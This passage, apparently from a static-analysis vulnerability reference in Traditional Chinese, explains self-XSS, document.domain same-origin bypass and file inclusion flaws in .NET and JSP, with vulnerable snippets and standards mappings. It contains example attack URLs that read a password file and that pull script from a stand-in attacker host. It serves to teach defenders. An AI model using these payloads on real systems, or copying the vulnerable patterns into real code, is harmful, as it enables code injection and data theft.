[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_sapui5_control
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-Site Scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在自我 XSS 的案例中,會從文字方塊或可從 DOM 控制的其他值來讀取資料,並以用戶端程式碼回寫到頁面中。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。在自我 XSS 的案例中,惡意內容會做為 DOM (Document Object Model,文件物件模型) 修改的一部分執行。

在自我 XSS 的案例中,惡意內容是以 JavaScript 片段,或瀏覽器執行的其他程式碼類型的形式出現。由於自我 XSS 主要是對自己的攻擊,所以常被認為不重要,但如果可能發生下列任一情況,則應視為標準 XSS 弱點來處理:

- 在您的網站上識別出「跨網站偽造要求」弱點。
- 社交工程攻擊可能說服某個使用者攻擊自己的帳戶,進而危及其階段作業。
範例 1:請考慮使用 HTML 表單:


<div id="myDiv">
Employee ID: <input type="text" id="eid"><br>
...
<button>Show results</button>
</div>
<div id="resultsDiv">
...
</div>


以下的 jQuery 程式碼片段會從文字方塊讀取員工識別碼,並顯示給使用者。


$(document).ready(function(){
$("#myDiv").on("click", "button", function(){
var eid = $("#eid").val();
$("resultsDiv").append(eid);
...
});
});


如果文字輸入中的員工識別碼 (識別碼為 eid) 只包含標準英數字元,這些程式碼便會正確地運作。如果 eid 中有包含中繼或來源程式碼中的值,那麼在使用者按一下按鈕後,程式碼就會被新增至 DOM 供瀏覽器執行。如果攻擊者可以說動使用者將惡意內容輸入文字輸入中,那麼這就只是 DOM 型 XSS。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Jesse Kornblum Don't Be a Self XSS Victim Facebook
[4] Hans Petrich Weaponizing self-xss Silent Break Security
[5] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[6] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[13] Standards Mapping - FIPS200 SI
[14] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_self
Abstract
允許使用者輸入以控制確定可造成 XSS 弱點的相同來源策略 (SOP) 的設定。
Explanation
透過相同來源策略 (SOP) 略過而導致出現 Cross-Site Scripting (XSS) 弱點會在以下情況下發生:

1.資料從一個不可信賴的來源進入 Web 應用程式。


2.資料會傳送到設定,來確定指令碼可執行的頁面來源 (例如,document.domain)。

在執行之後,其他網域的攻擊者便可以設定相同的 document.domain,並在頁面上執行指令碼,就像它們位於完全相同的網域中一樣。

範例 1:以下項目會使用 URL 參數 domain,並將其作為頁面相同來源策略 (SOP) 的網域進行傳送。


<SCRIPT>
var pos = document.URL.indexOf("domain=")+7;
document.domain = document.URL.substring(pos,document.URL.length);
</SCRIPT>


大部分的瀏覽器僅允許將有效的超級網域傳送至 document.domain,因此,如果頁面位於「http://www.example.com」,則 document.domain 可設定為「www.example.com」或「example.com」,而不能設定為「com」或「example.org」。
但是,如果攻擊者位於其可以控制的網站的另一個部分,則可能能夠在其無法控制的網站部分執行指令碼。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[15] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[16] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[17] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[18] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[19] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[35] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[36] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_SOP_bypass
Abstract
若允許未經驗證的使用者輸入可控制以動態方式包含在 HTML 中的檔案,將會導致惡意程式碼的執行。
Explanation
許多現代的網路 script 語言,可透過在某個封包檔案中包含額外的來源檔案來重複使用與模組化程式碼。這種功能通常會應用在應用程式的標準外觀 (範本),因此,不需編譯程式碼便可共各種功能,或將程式碼分成較小的可管理檔案。所包含的檔案會被解譯成父系檔案的一部分,並以相同的方式執行。File Inclusion 弱點會在下列情況發生:所包含檔案的路徑由未經驗證的使用者輸入所控制。

範例 1:以下程式碼採用使用者指定的範本名稱,並將其包含在轉譯的 HTML 頁面中。


...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...


Example 1 中,攻擊者可能透過提供 includedURL 的惡意值來完全控制動態包含陳述式,這會導致程式包含來自外部站台的檔案。

如果攻擊者為動態包含指令指定有效的檔案,.NET 將會插入該檔案的內容至傳送給使用者的 HTML 檔案中。如果是純文字檔案,例如 web.config,檔案可能會成為 HTML 輸出的一部分。更糟糕的是,如果攻擊者可能指定由攻擊者控制的遠端站台的路徑,則動態包含陳述式將執行攻擊者提供的任意惡意程式碼。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 98, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.2 File Execution Requirements (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[34] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 098
[35] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 829
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Remote File Inclusion (RFI) (WASC-05)
desc.dataflow.dotnet.dangerous_file_inclusion
Abstract
若允許未經驗證的使用者輸入可控制以動態方式包含在 JSP 中的檔案,將會導致惡意程式碼的執行。
Explanation
許多現代的網路 script 語言,可透過在某個封包檔案中包含額外的來源檔案來重複使用與模組化程式碼。這種功能通常會應用在應用程式的標準外觀 (範本),因此,不需編譯程式碼便可共各種功能,或將程式碼分成較小的可管理檔案。所包含的檔案會被解譯成父系檔案的一部分,並以相同的方式執行。File Inclusion 弱點會在下列情況發生:所包含檔案的路徑由未經驗證的使用者輸入所控制。

範例 1:以下是 Local File Inclusion 弱點的範例。以下程式碼範例採用使用者指定的範本名稱,並在產生的 JSP 頁面中加入該名稱。

...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...

如果攻擊者為動態包含指令指定有效的檔案,則會將該檔案的內容傳送到要在頁面上產生的 JSP 解譯器。

如果是以下形式的攻擊方式

specialpage.jsp?template=/WEB-INF/database/passwordDB

JSP 解譯器會對 JSP 頁面產生 /WEB-INF/database/passwordDB 檔案的內容,從而危害系統的安全性。

更糟糕的是,如果攻擊者可能指定由攻擊者控制的遠端站台的路徑,則動態包含陳述式將執行攻擊者提供的任意惡意程式碼。

範例 2:該程式碼範例使用 c:import 標籤,將使用者指定的遠端檔案匯入目前的 JSP 頁面中。

...
<c:import url="<%= request.getParameter("privacy")%>">
...

以下形式的攻擊方式

policy.jsp?privacy=http://www.malicioushost.com/attackdata.js

會從由攻擊者控制的遠端網站,將惡意程式碼插入目前的 JSP 頁面。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 98, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
